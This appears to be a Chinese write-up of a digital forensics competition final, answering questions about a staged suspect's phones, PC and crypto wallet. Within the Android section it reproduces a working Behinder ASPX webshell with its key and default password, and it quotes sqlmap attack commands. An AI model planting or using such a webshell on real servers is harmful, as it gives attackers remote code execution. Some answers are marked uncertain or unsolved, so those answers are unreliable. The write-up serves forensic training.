2024年第二届盘古石杯电子取证竞赛决赛题解¶
Author: NoahTie & BlackBird @ 猫猫啥也不会
检材容器密码:
f38043615a64f2a4013b0511c89bb07f
3D 案情密码:
DFD99BB7E073901A33D382A1431FC90E
3D 案情登录信息: 账号:
11111111111
, 密码111111
写在前面¶
本来我是不打算做盘古石的复盘的, 因为比起美亚来说, 盘古石在案情引导和题目的合理程度上都不如近几年的美亚. 非常不建议刚入门取证的同学来做这套题目.
当时打比赛的时候就一直有一种无力感, 因为大多数题目在做的时候根本不需要技巧, 全局搜索, 然后翻文件, 这样的题在这场比赛里面至少有 20 道.
以及无比逆天的检材嵌套: Android 里面又是 VMOS 虚拟机, 又是 Termux 装 Kali; Windows 里面有虚拟磁盘, 虚拟磁盘里有加密文件, 甚至还有俩 Android 模拟器; iOS 里面都要套个加密工具.
不过好在题目中有不少 WEB 方向的题目, 对我来说基本算是送分了, 所以当时比赛的时候介质取证部分基本上跳过了一小半题目, 重心全在后面的服务器取证, 结果还是拿到挺好的成绩.
但也从侧面说明了一个问题, 整套题目的检材和案情是完全可以剥离的. 我在做复盘的时候甚至连案情看都没看, 之后整理题解的时候才发现, 怎么题解里没有贴案情. 然后就又想起来那个虚幻 4 做的 3D 案情. 如果让我再选一次, 我大概还是会选择直接拆包.
案情¶
3D 案情里的信息:
电脑密码: WDKC720307
GOIP: KHBMB23727GOIP:KHMB23727手机: 793627
路由器: TLINK81235
私有容器密码: pgs20240605BCS
钱包地址: 0xa2af1c188e828a440d32ec6a206cac5310b74bc1
有用的只有钱包地址和私有容器密码, 其它信息都没有用上. 甚至有些信息和检材内信息冲突, 形成了平行宇宙.
Android 手机¶
对应检材
三星手机\Image.zip
.
比赛上来就是个大的. 整个 72.1 GB 的 zip 压缩包, 光解压就得 30 多分钟, 还是 16 线程跑满的解压速度.
手机里面套了 2 个 VMOS 的安卓虚拟机, 其中 1 个虚拟机里面又有 Termux. CTF 都少见的 3 层套娃没想到在取证里面见到了. 结果就是, 没什么信息量的检材占了 70 多 GB 的空间. 高低是有点逆天的.
真的比赛遇到这种东西, 直接整个检材跳过可能得分反而更高.
1.空闲的磁盘空间是多少¶
146.34 GB
2.蓝⽛ MAC 地址¶
78:46:d4:8f:38:2e
3.吴某浏览过最贵的⼀双鞋⼦是多少钱¶
1659
在得物的分析结果中, 可以看到收藏和浏览记录, 但自动取证结果不完整:
需要跳转到原文件进行手动分析.
可以看到价格显示最高的是 165900
, 没有小数的话单位应该是分.
4.手机中最⾼版本的安卓虚拟机的 WiFi 的 MAC¶
12:34:56:12:e8:24
手机里安装了 VMOS, 是个安卓平台的安卓虚拟机应用.
虚拟机文件存储在 Android/data/data/com.VMOS.pro/osimg/r
目录下, 一共安装 2 个虚拟机系统. 分别查看其中的 guestOSinfo
, ot01
是 Android 9
系统, ot02
是 Android 7 系统.
或者在 Android/data/data/com.VMOS.pro/conf/existVm.json.bak
中也可以看到虚拟机的信息:
接下来就是嵌套检材的取证了, 火眼里面直接将 ot01
文件夹添加为新检材就行.
在 ot01/system/build.prop
和 ot01/system.prop
中可以看到设备信息, 其中包括 MAC 地址:
5.发现在安卓虚拟机中使用浏览器最早保存的书签地址¶
https:\/\/zhuanlan.zhihu.com\/p\/370879038?utm_id=0
在 ot01
里面没有发现浏览器的使用记录, 所以大概是在 ot02
里面. 继续添加为新检材.
夸克的书签:
悟空浏览器的书签没有自动分析出来, 手动翻看 database
中的数据库后也没有觉得哪个像是书签的数据库.
于是动用传统艺能, 拿一台 ROOT 过的手机, 安装悟空浏览器收藏点东西(XDSEC 的主页和 L team 的主页), 提文件出来手动分析. 搜索了一下, 有这些命中:
数据库里只有搜索关键词的记录:
剩下的都是 cache 和 log, 说明悟空的书签数据并不保存在 data\data\
中, 而是可能在 \sdcard\Android\data\
中, 再次导出并搜索:
但还是不对.
直到我想着断网情况下删除一条收藏, 看看文件修改时间的时候, 我发现, 这个浏览器的收藏居然是云端数据... 那看来本地存储的书签数据就在某个缓存里了.
那现在就要看那个缓存里面同时有https://xdsec.org
和 https://l.xdsec.org
了:
看来只有 log 里面有了. 看了看 log, 也只能看出来访问过这两个网站.
综上, 未能在悟空浏览器的数据中找出书签的记录. 并且, 我倾向于悟空浏览器只是下载并运行了一次, 并没有实际上访问任何网页.
6.发现在安卓虚拟机中使用浏览器最后⼀次的访问地址¶
https:\/\/m.quark.cn\/s?q=源码网&from=kkframenew&uc_param_str=dnntnwvepffrbijbprsvchgputdemennosstodcaaapcgidsdieinipikp&by=suggest&extra_params=AAN3UlC+kC6uKpnBo9DX2Ezt6IXm7/uRWyHngyRvcJClOvL3NbHP7d+PnVxI3bTS5AjBPRPxpU+AEKB8Q+tQ4HKl&prefetch=search
悟空浏览器中则没有任何网页的缓存:
7.手机中远程控制软件的密码¶
lp604n
远控软件是向日葵:
8.手机中创建了几个安卓虚拟机¶
2
见 Android 手机部分 - 第 4 题.
9.手机中安卓虚拟机下载了几个 ROM¶
4
在 VMOS 的 data 目录下:
10.有几张图片是通过 AI 生成的, 这些图是哪个应用生成的, 写出该应用安装包的完整路径¶
Image.zip/data/data/com.VMOS.pro/osimg/r/ot01/data/app/com.zhipuai.qingyan-LLwjwKjpV8sNuMMYnuet3Q==/base.apk
看到安装有智谱清言:
但是找到的图片是在 VMOS 的输出文件夹里的, 图片来源应该是 VMOS 虚拟机里的某个应用, 但图片右下角又有智谱 AI 的 LOGO:
在 ot01
里面也找到了智谱清言和 Termux:
在 ot02
里面也找到了智谱清言:
最终在 ot01
中找到了生成的原始图片:
因此应用的安装包的路径应以 ot01
中的路径为准:
回到原始检材中的路径:
11."屏幕截图 2023-06-01 141051.png" 这个图片来⾃哪个应用, 请写出应用的包名¶
org.localsend.localsend_app
图片内容是 Metasploit 的电脑截图, 文件应该是下载或者从电脑传送的. 结合文件名, 大概率是电脑发送的. 在检材中找到了 LocalSend, 查看一下媒体数据库 external.db
:
在 LocalSend 的配置文件里也有记录:
12.接上题, 这个图片的发送者名称¶
Handsome Orange
见上题.
Kali in Termux¶
Termux 是 Android 平台的 Linux 模拟器应用, 默认安装一个最小系统. 但用户可以通过 proot (Pseudo Root) 来安装任何支持手机处理器架构的 Linux 发行版. 我曾经在平板上用这玩意儿做过操作系统的大作业...
比较尴尬的一点是, 火眼的嵌套检材识别居然没有分析出来 Termux 的存在.
Termux 的存储位于 Android/data/data/com.termux/files
中. 这里存放的是用户文件, Termux 使用的 Linux 内核是手机系统内核(类似于 Docker 内核). 而最小系统是否拥有 Root 权限也取决于实机的情况.
在 /home/.bash_history
中可以看到曾经执行过的命令:
其中 proot-distro login debian
就是通过 proot
启动了 debian
系统. 众所周知, Kali 是 Debian 的一个发行版. 而 Kali 的文件系统则位于 /home/kali-arm64
中, 这里才算一个真正意义上的虚拟机.
可以在火眼中将 /home/kali-arm64
作为新检材添加.
以下题目中的路径均为对于 Android/data/data/com.termux/files/home/kali-arm64
的相对路径.
13.kali 开放的 ssh 端口是¶
2222
在 /etc/ssh/sshd_config
:
14.存在 SQL 注入漏洞的网站网址是¶
在 /root
目录下可以看到 zsh 的历史记录 .zsh_history
, 其中有关于 sqlmap 的历史记录:
sqlmap 从文件中读取参数, 文件 1.txt
内容:
可以看到在 http://112.124.62.187:8080/Login/ValidateLogin
进行注入.
sqlmap 的历史记录文件存储在 /root/.local/share/sqlmap/
目录中, 在 output/112.124.62.187/log
中可以看到命令行的历史记录.
数据库后端是 MSSQL Server, 给出了 3 种注入方案, 分别是布尔盲注, 堆叠注入和时间盲注:
获取到数据库名称:
确认了当前用户有管理员权限:
执行命令行, 获取 IP 信息和系统用户信息:
执行命令行, 获取 RDP 端口信息:
执行命令行, 开始文件操作, 并试图在 cmd 中执行 PowerShell 函数:
然后上传一段 C#
代码编写的 ASP.NET WebShell, 因为编码问题, 中文注释全部乱码了:
整理一下是:
<%@ Page Language="C#" %>
<%@Import Namespace="System.Reflection"%>
<%
Session.Add("k","e45e329feb5d925b") // 将 k 存储到 Session 中
byte[] k = Encoding.Default.GetBytes(Session[0] + ""), c = Request.BinaryRead(Request.ContentLength) // k 是上述 Session 中的 k, c 是请求正文中的数据
Assembly.Load(
new System.Security.Cryptography.RijndaelManaged() // AES
.CreateDecryptor(k, k) // 解密器, 密钥和 IV 都用 k
.TransformFinalBlock(c, 0, c.Length) // 解密 c
).CreateInstance("U").Equals(this) // 加载为二进制文件, 并加载到内存中.
// 之后从加载的程序中创建 U 类的实例, 并调用 U.Equals() 方法
%>
熟悉冰蝎的 WEB 手应该能看出来这是冰蝎自带的 ASPX WebShell. 在计算机检材的 PC.E01\Software\PentestTools\framvuln\GUI_Tools_3\gui_webshell\Behinder_v4.0.6\server
目录下可以看到.
密码未修改, 就是默认密码 rebeyond
.
15.存在 SQL 注入漏洞的网站的内网 IP 地址是¶
172.16.0.137
见上题.
16.存在 SQL 注入漏洞的网站服务器被添加了几个账户¶
3
见上题.
系统中共有 admin1
, administraotr1
(是的, 原题里面真的是这样拼的), Administrator
, delete
和 Guest
合计 5 个账户. 其中, 默认管理员账户 Administrator
和默认访客账户 Guest
为系统创建的用户, 其余 3 个账户为用户添加的.
17.存在 SQL 注入漏洞的网站服务器上已有 webshell 的连接密码¶
rebeyond
见上题.
webshell 的连接密码从计算机上的冰蝎的数据库 PC.E01\Software\PentestTools\framvuln\GUI_Tools_3\gui_webshell\Behinder_v4.0.6\data.db
中也能看到.
iOS 手机¶
对应检材
苹果手机\Image.zip
.
这里推荐一个轻量化的开源 iOS 自动取证工具: abrignoni/iLEAPP: iOS Logs, Events, And Plist Parser
还是之前看一场外国的 CTF 比赛的 WP 的时候看到的, 个人感觉相当好用. 甚至可以自己给 iLEAPP 写插件, 使用的是 python 语言, 并且官方提供了非常详细的文档.
8.手机中安装的第三方 APP (排除系统应用)的数量合计¶
20
在应用列表中筛选一下:
9.吴某尝试登录 telegram 应用所使用的手机号码¶
13800135700
在 /private/Applications.plist
中可以看到 Telegram 的共享应用数据目录 /private/var/mobile/Containers/Shared/AppGroup/1EB861E9-9A8D-4BA8-A71D-A6BA1255DB30
:
以及应用的安装位置 /private/var/containers/Bundle/Application/50ADC3E7-6D97-40FD-ADB5-56600F8BA2EC/Telegram.app
和应用的数据目录 /private/var/mobile/Containers/Data/Application/D3E2A2F6-5A43-4B07-B0FF-F053E53DB84E
:
用户信息存储在应用私有数据目录下, 但并没有记录用户信息的数据库或 plist 文件. 结合题目中的"尝试"二字, 猜测其实并没有登陆成功.
可以在 目录下找到 iOS 自动生成的屏幕截图(用于应用预览):
在分析结果的屏幕截图中可以看到:
在 iLEAPP 的报告中也可以看到:
10.吴某是从什么 iOS 版本升级到当前版本的¶
16.0.3
iLEAPP 取到了升级记录, 但是没有识别到系统的原始版本.
iOS 升级相关的日志和配置文件都位于 /private/var/MobileSoftwareUpdate
中, 在 secure.log
中找到了与升级相关的 log:
显示是从 16.0.3 升级到 16.1 版本, 但是时间又和 iLEAPP 取到的对不上. 一个在 22 年, 一个在 24 年.
又看了一下更新程序的日志 /private/var/MobileSoftwareUpdate/MobileAsset/AssetsV2/com_apple_MobileAsset_SoftwareUpdate/com_apple_MobileAsset_SoftwareUpdate.xml
大概明白是怎么回事了. 系统只安装了 16.1 的更新, 但系统的更新程序已经检测到了 16.7.8 的更新.
11.手机相册中的照片中, 有多少张是通过 iPhone 8 手机拍摄的¶
7
在 iLEAPP 的报告对 photo.sqlite 的取证结果中, 过滤含有 iphone 8 字样的图片:
共有 7 张.
将相册中所有图片导出后依次查看 EXIF 信息也可以.
12.手机曾开启热点, 供其他人连接, 分析手机开启的热点连接密码¶
hello123girl
以前遇到过类似的题, iOS 的热点信息保存在 hostapd.conf
文件里, 做题的时候想不起来具体路径了, 直接搜索文件名:
13.接上题, 分析成功连接到手机热点的手机型号¶
OPPO-A11x
在手机的 dhcp 服务器配置 dhcpd_leases
里:
14.吴某曾连接过阿里云服务器, 并将服务器的宝塔面板信息保存在手机上, 请问该阿里云服务器的内网IP地址¶
http:\/\/172.28.39.11:35394\/1d11d9a4
在 iCloud 同步记录中有文件名为 panel info.txt
:
直接全局搜索文件名或者定位到文档目录可以找到 /private/var/mobile/Library/Mobile Documents/com~apple~CloudDocs/panel info.txt
, 文件内容:
如果对检材做了文本索引或者全局搜索文件内容的话, 也可以通过直接搜索 panel
或者 BT-Panel
找到.
15.警方在勘验苹果手机时, 发现手机中有⼀个叫"私密空间"的应用。该应用打开需要密码, 请分析苹果手机检材, 该应用的打开密码是¶
147258
找到应用的数据目录:
解个 Base64 编码:
16.接上题, 分析该应用中⼀共加密了多少张图片¶
1
在应用数据库里可以看到关于加密文件的条目:
可以判断文件为 HEIC 格式的图片, 并可以找到本地保存的位置.
app 的核心文件位于 /private/var/containers/Bundle/Application/42D2EE98-D032-4154-9CF8-997D5F4D8319/Vault.app/Vault
, DIE 查一下, 是 Xcode 构建的.
然后突然想起来, 我又不是逆向手, 哪儿会 iOS 逆向啊. 果断放弃逆向. 回头看学学, 有机会补上.
对比检材中存储的其它 HEIC 格式图片, 发现应用仅对文件进行了删除文件的前 128 字节并添加了文件头:
我猜"加密"程序的工作原理就是, 把图片文件的前 128 Byte 保存到某个地方(或者如果识别到是 HEIC 图片就直接抹掉前 128 Byte), 然后添加 128 Byte 的自定义头.
接头霸王.jpg
逆向分析¶
Vault.app\Vault
是应用的核心可执行文件, 用 DIE 看一下信息:
可以直接用 IDA 加载. IDA 9.1 对 Objective-C 的支持好很多, 支持自动识别 OBJ-C 的对象和成员函数.
在 -[MediaDBAdapter importSingleMedia:asset:]
(MediaDBAdapter
类的 importSingleMedia:asset:
函数) 中可以看到以下逻辑:
(signed __int64)importSingleMedia:(id)media asset:(id)asset {
signed __int64 userId = self->_userId;
// check if user exists
// assign some folder variables
// Output debug log, snip
__block NSString *md5 = nil;
NSString *relativePath = nil;
NSString *serverPath = nil;
if ([media mediaType]) {
// Handle video file
} else {
// Handle image file
}
}
主要看看处理图片的部分:
LABLE_15
中做的事情都是在往数据库里写入文件信息, 和上述数据库中结构一致.
那么, 关于文件加密的操作应该都是在 Handle image file
那一段完成的, 这段中有一个比较明显的函数 -[MediaDBAdapter saveMediaFile:content:]
与文件存储有关:
在 -[MediaDBAdapter encryPhotoData:keyGen:]
中:
还原后的源码:
if (a3 && [a3 length] > 127) {
// check if user exists, snip
// debug log, snip
NSMutableData *v7 = [[NSMutableData alloc] init];
[v7 appendData:[self getPaddingData:[a3 length]]];
// v7 is custom file header
NSData *v8 = [a3 subdataWithRange:NSMakeRange(128, [a3 length] - 128)];
// v8 is file content[128:]
if (v8) {
[v7 appendData:v8];
}
[v7 appendData:[PublicObject aesEncryptData:[a3 subdataWithRange:NSMakeRange(0, 128)]
withKey:[PublicObject getHashValueString:[a4 dataUsingEncoding:NSUTF8StringEncoding]]];
}
先判断文件长度是否大于 127 字节, 是则截取文件前 128 字节. 接着用 -[MediaDBAdapter getPaddingData:]
生成一段数据并存贮在 v7
中:
再根据之后的拼接操作, 判断这是替换了文件前 128 字节的数据. 与上述分析中看到的加密文件的文件头一致:
其中 a3
为原始文件的大小, 加密文件中的值经过端序转换后是 41 13 EC
.
接着截取文件 128 字节之后的数据, 存储在 v8
里. 然后将 v8
拼接在 v7
之后.
再调用 +[PublicObject aesEncryptData:withKey:]
对文件的前 128 字节进行加密, 并将加密后的结果拼接在 v7
之后:
加密的使用 key 来源于用户的密码, 获取密码的代码在 -[UserDBAdapter getPassword:]
中:
用户的密码是对数据库 SBUserInfo
中的 password
字段值进行 Base64 解码之后的值. 对数据库中的值进行解码, 得到密码为 147258
:
用于加密的函数 CCCrypt
:
其中的 key 是 Crc(password)
:
从加密文件文件尾提取出来 AES 加密过的前 128 字节:
不过目前就卡在这里了, CRC-32 生成 32 bit 不知道是怎么扩展成 AES-128 的 128 bit 密钥的. 试了右侧补零, 不对.
17.接上题, 解密被加密图片, 图片中记录的密码是¶
pgs20240605BCS
见上题.
18.警方在勘验苹果手机时, 发现手机中还有⼀个基于屏幕使用时间功能扩展的应用, 该应用打开也需要密码, 分析手机检材, 该应用的打开密码是¶
147258
筛选一下非预装且分类不明的应用, 看到一个叫 Cloak(斗篷, 音同 Clock) 的应用:
看到 Cloak 的私有存储目录是 /private/var/mobile/Containers/Data/Application/0673D8E2-8C03-45F1-848C-DE978C5CDB26
, 共享存储目录是 /private/var/mobile/Containers/Shared/AppGroup/76D24375-B4D6-42D6-80A1-4EDDFD417FEB
.
在 /private/var/mobile/Containers/Shared/AppGroup/76D24375-B4D6-42D6-80A1-4EDDFD417FEB/Library/Preferences/group.com.air-matters.cloak.plist
中看到以下内容:
隐藏了 1 个应用, 密码是 147258
.
19.接上题, 该应用隐藏了多少个APP¶
1
见上题.
20.接上题, 该应用限制了位置信息, 通过分析, 设定的位置所属的城市是¶
成都
在私有存储目录的 /private/var/mobile/Containers/Data/Application/0673D8E2-8C03-45F1-848C-DE978C5CDB26/Library/Preferences/com.air-matters.Cloak.plist
中可以看到:
设置了一个区域, 中心点经纬度为 (104.05978972986394, 30.58276663508925), 半径为 100 (单位大概是米). 用经纬度去查询一下地理位置:
在成都.
21.审讯时, 吴某交代其有通过手机中的某个应用对服务器数据库进行维护的习惯, 分析苹果手机检材, 给出该应用的应用名称¶
快捷指令
虽然手机上有 Termius, 但 Termius 的应用目录里什么都没有.
看到 Termius 的共享存储目录是 /private/var/mobile/Containers/Shared/AppGroup/9C10B3EF-1FF7-4696-8C4B-0D5441E7A699
, 私有存储目录是 /private/var/mobile/Containers/Data/Application/2DF3CDD9-E9A5-4663-A4DA-2AFDE9D89D0D
.
然后想到之前一个工作流全在苹果设备上的朋友跟我提过, 用快捷指令可以一键把本地服务端同步到服务器上并部署. 翻了一下, 还真在:
22.接上题, 该应用对服务器数据库的操作, ⼀共需要多少步操作¶
14
这里有些奇怪, 一共存储了 2 个连接 ssh 的快捷操作, 分别是 backup
和 yourcode
. 操作内容是 JSON 格式的, 整理一下:
快捷指令 backup:
一共设置了 2 个变量. 每次设置变量都是, 获取文本 -> b64decode -> 设置为变量. 哪儿来的栈操作
整个执行过程是:
- host = 8.138.86.110
- pwd = GLOOMYbear603!
- 连接 ssh 并发送
bt 14
但是 bt 14
实际上是宝塔面板用于获取面板信息的指令, 与备份无关.
快捷指令 yourcode:
整个执行过程是:
- host = 192.168.137.22
- pwd = bullshit
- cmd2 = sha1(select_photo())
- cmd1 = python /root/bak.py
- 连接 ssh 并依次发送 cmd1 和 cmd2
这个看起来像是在服务器上用 python 脚本进行备份, 密码也许是选择图片的 SHA1 值.
此外, 还能找到两个与快捷指令相关的 WebClip, 作用类似于快捷方式, 通过调用 Schema URL 启动应用.
23.接上题, 上述操作过程中, ⼀共涉及几个变量¶
4
见上题.
24.接上题, 该服务器的 IP 地址是¶
192.168.137.22
见第 22 题.
25.接上题, 上述操作过程中, 生成备份文件的压缩密码是¶
本题存疑.
根据上述分析, 在 python /root/bak.py
后发送到服务器的 SHA1 很可能是备份文件的密码. 问题就在于找到用户曾经选择的照片是哪张.
在快捷指令的全部存储目录都找了, 没有找到任何关于图片的记录.
26.继续分析该应用, 该应用在相册中⼀共生成了多少张图片¶
1
生成了 1 张图片:
27.继续分析该应用, 吴某通过该应用还获取了⼀个 APK 的下载链接地址, 请问该 APK 的下载链接地址中包含的时间戳是¶
1650077751
应该是通过快捷指令 apk 获取的, 指令内容是:
- 下载
https://h5publish.gamelaoyou.com/Mahjong_Native/huizhou/config.json
- 从
config.json
获取键huizou_2.0.2
的值 - 从
config.json
获取键androidVersion
的值 - 从
config.json
获取键app_down_Url
的值 - 将
app_down_Url
的值生成一个二维码 - 将生成的二维码存储到相册
上题中相册中的二维码就是由该指令生成的, 识别二维码后得到网址: https://download.gamelaoyou.com/9099-2022-04-16-10-55-51.apk
是 JSON 文件中的 app_down_Url
. 从中可以提取到时间 2022-04-16-10-55-51
, 转换为时间戳:
区块链分析¶
没什么意思, 纯靠看区块链报告. 比赛没提供文件, 还得自己去平台上查.
当时线下赛, 甚至只有 1 台还是 2 台上网机, 申请了几十分钟不停催着才让用. 钱包地址存到硬盘里接网机也不让, 手机也不让用, 最后队友没办法, 翻出来根签字笔抄手上了, 还不小心抄错一个大小写. 老祖宗的智慧放到现在还是对的: "没这金刚钻, 别揽瓷器活".
整个虚幻引擎的 3D 案情, 没啥意思, 还不如给个附件来得实在. 当时打比赛的时候我直接 Umodel 拆包看的.
1.通过 3D 案情, 得到另⼀个钱包地址, 请问地址是¶
0xa2af1c188e828a440d32ec6a206cac5310b74bc1
2.钱包地址信息对应哪⼀条公链¶
Ethereum
格式明显是以太坊的地址, BSCScan 搜一下.
Address 0xa2af1c188e828a440d32ec6a206cac5310b74bc1 | BscScan
下一个 CSV 看起来会方便一些.
但问题在于, 这个地址在兼容链也有信息, 并且全部都有交易记录:
3.钱包地址接受用户资金使用的虚拟币币种是¶
BNB
账户余额是 BNB.
4.已知地址 0xd109046aa3e92d13fad241a695262be4ec3431f6 曾收到上述地址涉案资金并将这笔资金后续跨链转出, 跨链资金直接转出到哪条链¶
BUSD-T Stablecoin
Address 0xd109046aa3e92d13fad241a695262be4ec3431f6 | BscScan
转出 2 次, 通过智能合约转到 USDT(BUSD-T Stablecoin
):
5.根据上题, 确定项目的沉淀地址是¶
0x7D958b37C2C8fd88d4d9ebF15823c51B973ce274
沉淀地址应该是通过合约转到 USDT 的地址
计算机取证¶
1.计算机共通过 localsend 应用接收了多少个视频文件¶
69
全盘搜索 localsend 找到配置存储文件 PC.E01/System/Users/Administrator/AppData/Roaming/org.localsend/localsend_app/shared_preferences.json
. 大概浏览一下, 接收文件里面除了 mp4 就是 jpg.
2.计算机共保存了多少个服务器的公钥¶
35
第一反应是去 .ssh
里面找, 但 %userdata%
里没有. 全局搜索, 并没有找到.
桌面上有个 WindTerm 的快捷方式. 那不巧了吗, 我也用 安装位置在 PC.E01/Software/Program Files/WindTerm/WindTerm.exe
.
ssh 保存的服务器公钥在 PC.E01/Software/Program Files/WindTerm/.wind/profiles/default.v10/terminal/ssh/known_hosts
中. 其实一开始想的差不多, 如果全局搜索的是 known_hosts
的话就直接搜到了, 毕竟 .ssh
的目录是用户可以修改的, 但是 known_hosts
的文件名是不能修改的.
3.计算机的 rustdesk 的中继服务器 IP 地址是什么¶
152.126.118.24
全局搜索 rustdesk
, 找到 5 个非空目录:
在 PC.E01/System/Users/Administrator/AppData/Roaming/RustDesk/
保存着配置文件. 在 RustDesk2.toml
中保存着中继节点的信息:
4.计算机的 TOR 浏览器记录第⼀个有 cookie 的暗网地址是¶
666666666tjjjeweu5iikuj7hkpke5phvdylcless7g4dn6vma2xxcad.onion
5.计算机里共群控过多少个终端¶
4
桌面上有个来喜投屏:
再次全局搜索:
在数据库 laixi.db
中看到 4 个设备:
6.吴某未被起获的另⼀部手机的真实型号¶
SM-F9460
检材中的安卓手机型号为 SM-G996N
:
另外一部未取证的设备应该是 SM-F9460
, 在电脑的 USB 设备记录中可以看到其商品名称为 Galaxy Z Fold5
:
7.计算机群控程序脚本中哪个是吴某⾃⼰写的, 文件名¶
录屏存相册.bat
可以在 laixi.db
中看到 2 个脚本的信息, 存储位置都在 C:\Program Files\Laixi\Scripts\
中:
定位到文件夹, 发现目录中有 3 个脚本:
脚本 自动上滑脚本.js
中有应用网址 www.laixi.app
, 应该是自带的样例脚本.
脚本 截图存相册.bat
中文件命名也与应用名称有关.
8.计算机群控程序中滑屏脚本最大滑屏次数¶
10000
循环里 9999 次, 循坏外 1 次:
9.计算机中 adb 程序环境变量目录¶
D:\PentestTools\reverse\platform-tools_r31.0.2-windows\platform-tools
计算机里一堆 adb, 得看 PATH 了. 查看注册表中保存的环境变量:
简单整理一下, 看到 PATH 中包含 D:\PentestTools\reverse\platform-tools_r31.0.2-windows\platform-tools
:
10.微信聊天中的虚拟钱包地址¶
11Bm4ZDrY6ughusdtXcXn4fxPErNhFG6G
电脑上的微信需要解密, 可以从内存镜像中提取解密密钥:
拿到密钥是"
d3725593110248a581ed14312b5e39024acc4c8d93eb439ba4a4731ceca2f83c"
解密后可以看到自己发给自己的消息记录:
11.容器程序 main 函数地址¶
00000001400010E0
可以在桌面上找到容器 fortress
.
一开始一直以为容器程序是 VeraCrypt, 找了半天根本找不到. 然后在桌面上看到了内存分析部分提到的 别点我.exe
还真在电脑上运行过 2 次:
DIE 查一下:
IDA 启动.
在 main
函数里面, 看到与 ImDisk (镜像挂载工具)有关的字符串:
跳转到 sub_140008D74
, 看到调用了 cmd.exe
:
所以程序的作用大概就是调用 cmd 执行 ImDisk 的指令, 挂载镜像. ImDisk 不支持镜像加密, 因此也不用找密码了.
可以将镜像导出并挂载到电脑上, 或者直接添加为新检材. 镜像中的文件内容:
Excel 文件都有密码.
12.容器程序导入函数总数¶
81
DIE 里面就能看到:
13.共对多少个网站进行过 SQL 注入的漏洞尝试¶
17
在 PC.E01/Software/PentestTools/ExploitationTools/SQL Injection
目录下放着几个 SQL 注入用的工具:
Advanced-SQL-Injection-Cheatsheet
和 SQL-Injection-Payload-List
中是 Payload, 剩下的 4 个是工具.
SuperSQLInjection
的日志在 logs
目录中, 看来没有成功运行.
JSQL-injection
, NoSQLMap
和 sqlmap
文件夹中都没有看到输出或者日志文件.
在 %ADDPATA%
目录中可以找到 sqlmap 的数据目录 PC.E01/System/Users/Administrator/AppData/Local/sqlmap
, 其中包含了 history
和 output
文件夹.
history\sql.hst
中记录了运行过的 sql 命令, output
中则是依站点存储的攻击结果.
output
中共有 17 个文件夹.
14.通过 SQL 注入成功获取了⼀个网站的大部分数据, 存在注入漏洞的参数¶
c_usd
在 output
目录中文件全显, 可以看到几个 csv 文件, 为 sqlmap 输出的获取到的数据:
跳转到原始目录在 PC.E01/System/Users/Administrator/AppData/Local/sqlmap/output/gg.aigua666.com/
. 在 target.txt
中可以看到执行攻击时使用的命令行参数:
http://gg.aigua666.com:80/index.php/wode/wode (GET) # sqlmap.py -r 1.txt --batch -D gg_aigua666_com -T user_tixian --dump-all
在 log
中可以看到运行 sqlmap 时的控制台输出, 其中关于开始攻击的部分:
sqlmap 给出了 2 种攻击方案, 注入参数都是 Cookie 中的 c_usd
字段, 方案分别是布尔盲注和报错注入.
15.接上题, 吴某攻击的网站管理员的登录 IP¶
36.142.187.31
在日志中可以看到攻击的全流程:
- 获取了数据库的用户名:
- 获取了所有数据库名:
- 获取了数据库
gg_aigua666_com
中所有表名:
- 获取了
manager
表中的内容:
- 查看了
user
表中的记录数量:
- 之后 dump 了所有表的数据:
管理员的登录 IP 在 manager
表中.
16.电脑上共连接过多少个 webshell¶
14
PC.E01/Software/PentestTools/Webshell
目录中有 webshell 管理工具:
冰蝎 Behinder
, 天蝎 SkyScorpion
, 哥斯拉 Godzilla
的数据库中都没有已保存的 shell.
菜刀里面有几个 shell 但时间对不上, 应该是下载工具的时候数据库里面已经有的:
Awesome-shells
是 webshell 代码的收集, PyShell
和 Weevely3
是 webshell 生成工具.
蚁剑 AntSword
的数据保存在 AntSword/antSword-master/antData/db.ant
目录下, 其实是一行一条的 JSON 文件, 有 13 行:
但根据最近访问的项目中, 又存在另外一个目录中有冰蝎:
跳转到原始目录, 发现这里似乎是另外一个渗透测试常用的工具包, 在 PC.E01/Software/PentestTools/framvuln/GUI_Tools_3/gui_webshell
又有蚁剑, 2 个版本不同的冰蝎, 哥斯拉和天蝎:
在 4.0.6 版本的冰蝎的数据库中发现了 1 个保存的 webshell 信息:
时间也对的上:
17.电脑上常用的蚁剑共安装了多少个插件¶
27
常用的蚁剑是哪个可以根据程序运行记录来判断:
再者, 其实 PC.E01/Software/PentestTools/framvuln/GUI_Tools_3/gui_webshell/AntSword.app/
是包含为 MacOS 编译的 Electron GUI 的蚁剑, 一般也不会在 Windows 上直接运行 CLI.
在 AntSword/antSword-master/antData/plugins
目录中:
这道题其实对上题也有提示, 电脑中不止一个蚁剑.
18.电脑上常用的蚁剑做了改造, 改造后的 User-agent¶
require('random-fake-useragent')
蚁剑的默认 UA 是 antSword/vX.X
, 修改默认 UA 需要修改 AntSword/antSword-master/modules/request.js
文件中对 UA 的赋值语句:
这里可以看到, 默认 UA 已经被修改为从 random-fake-useragent
获取了. 没有相对路径的 require 是从项目的 node_module 中加载代码, 找到 random-fake-useragent
模块的文件:
读一下源码, 就是随机从 useragents.json
中取 1 个 UA 出来.
19.吴某在后⻔为 con.php
的 webshell 上查询到 /www/wwwroot/default/
目录下有多少个 php¶
434
在蚁剑存储的 webshell 数据库中可以找到题目中提到的 webshell:
看到 id
为 KU2ILCtSjIr77dcv
. 可以在蚁剑的缓存目录 AntSword\antSword-master\antData\cache
中找到对应的缓存文件 KU2ILCtSjIr77dcv
:
还是个 JSON 文件, 但是是嵌套了 dump 后的 JSON 对象的 JSON 文件, 用 Python 加载一下. 注意到每个 JSON 对象中 tag
的最后一段似乎是 Base64 编码, 对最后一段进行解码:
/www/wwwroot/default/
目录是第 4 个 JSON 对象.
统计一下文件名末尾为 .php
的文件数量:
20.吴某通过手机 kali 渗透后拿到⼀个 webshell, 使用电脑进行管理, 这个 webshell 主机的计算机名¶
IZTYQTRFU20DWUZ
本题逻辑上衔接在"Andriod 手机"部分的第 17 题之后.
在冰蝎的目录 PC.E01\Software\PentestTools\framvuln\GUI_Tools_3\gui_webshell\Behinder_v4.0.6\offline
中存储了 WebShell 指令请求结果的离线副本.
可以在 getBasicInfo.json
中看到指令的执行结果:
Base64 解码后是一个 html 页面:
21.接上题, 这个 webshell 主机当前登录操作系统的用户名¶
用户名为 aa
.
22.接上题, 这个 webshell 主机的数据库密码¶
Asd123456!@#
在 offline
目录中的 showFile.json
中可以看到查看了 Web.config
文件, 其中包含网络服务器的配置信息:
